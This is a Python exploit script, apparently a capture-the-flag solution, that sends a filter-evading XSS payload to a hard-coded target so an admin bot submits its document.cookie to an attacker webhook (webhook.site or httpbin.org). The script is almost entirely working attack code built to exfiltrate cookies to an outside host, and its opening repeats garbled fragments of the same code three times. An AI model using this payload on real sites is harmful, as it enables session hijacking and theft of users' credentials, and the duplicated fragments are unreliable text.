' return payload def send_attack(webhook_url): """Send the attack payload to the bot""" payload = create_payload(webhook_url) print("="*80) print("šÆ Webhook-Based XSS Attack") print("="*80) print(f"\nWebhook URL: {webhook_url}") print(f"\nPayload: {payload}") print(f"\nURL Encoded: {urllib.parse.quote(payload)}") attack_url = f"{TARGET}/flag?getflag={urllib.parse.quote(payload)}" print(f"\nAttack URL: {attack_url[:100]}...") print("\n[*] Sending payload to bot...") try: response = requests.get"> ' return payload def send_attack(webhook_url): """Send the attack payload to the bot""" payload = create_payload(webhook_url) print("="*80) print("šÆ Webhook-Based XSS Attack") print("="*80) print(f"\nWebhook URL: {webhook_url}") print(f"\nPayload: {payload}") print(f"\nURL Encoded: {urllib.parse.quote(payload)}") attack_url = f"{TARGET}/flag?getflag={urllib.parse.quote(payload)}" print(f"\nAttack URL: {attack_url[:100]}...") print("\n[*] Sending payload to bot...") try: response = requests.get"> ' return payload def send_attack(webhook_url): """Send the attack payload to the bot""" payload = create_payload(webhook_url) print("="*80) print("šÆ Webhook-Based XSS Attack") print("="*80) print(f"\nWebhook URL: {webhook_url}") print(f"\nPayload: {payload}") print(f"\nURL Encoded: {urllib.parse.quote(payload)}") attack_url = f"{TARGET}/flag?getflag={urllib.parse.quote(payload)}" print(f"\nAttack URL: {attack_url[:100]}...") print("\n[*] Sending payload to bot...") try: response = requests.get">
#!/usr/bin/env python3
"""
Webhook-based attack to capture the flag cookie
"""
import requests
import urllib.parse
import sys
TARGET = "<http://34.47.116.127:8080>"
def create_payload(webhook_url):
"""Create XSS payload that exfiltrates to webhook"""
# Form submission payload - no blocked keywords!
payload = f'<form id=x action={webhook_url}><input name=flag></form><script>x.flag.value=document.cookie;x.submit()</script>'
return payload
def send_attack(webhook_url):
"""Send the attack payload to the bot"""
payload = create_payload(webhook_url)
print("="*80)
print("šÆ Webhook-Based XSS Attack")
print("="*80)
print(f"\\nWebhook URL: {webhook_url}")
print(f"\\nPayload: {payload}")
print(f"\\nURL Encoded: {urllib.parse.quote(payload)}")
attack_url = f"{TARGET}/flag?getflag={urllib.parse.quote(payload)}"
print(f"\\nAttack URL: {attack_url[:100]}...")
print("\\n[*] Sending payload to bot...")
try:
response = requests.get(attack_url, timeout=30)
print(f"\\n[+] Status: {response.status_code}")
print(f"[+] Response: {response.text}")
if response.text == "Success":
print("\\n" + "="*80)
print("ā
ATTACK SENT SUCCESSFULLY!")
print("="*80)
print(f"\\nCheck your webhook: {webhook_url}")
print("\\nYou should see a POST/GET request with the 'flag' parameter")
print("containing the admin bot's cookie!")
else:
print("\\nā Attack failed")
except Exception as e:
print(f"\\n[-] Error: {e}")
if __name__ == '__main__':
print("\\n" + "="*80)
print("Web-MSG XSS Cookie Exfiltration")
print("="*80)
if len(sys.argv) > 1:
webhook_url = sys.argv[1]
else:
print("\\nš Instructions:")
print("1. Go to <https://webhook.site>")
print("2. Copy your unique webhook URL")
print("3. Run: python webhook_attack.py <YOUR_WEBHOOK_URL>")
print("\\nExample:")
print(" python webhook_attack.py <https://webhook.site/abc123>")
print("\\n" + "-"*80)
webhook_url = input("\\nEnter your webhook URL (or press Enter to use test mode): ").strip()
if not webhook_url:
print("\\n[*] Test mode: Using httpbin.org")
webhook_url = "<https://httpbin.org/post>"
send_attack(webhook_url)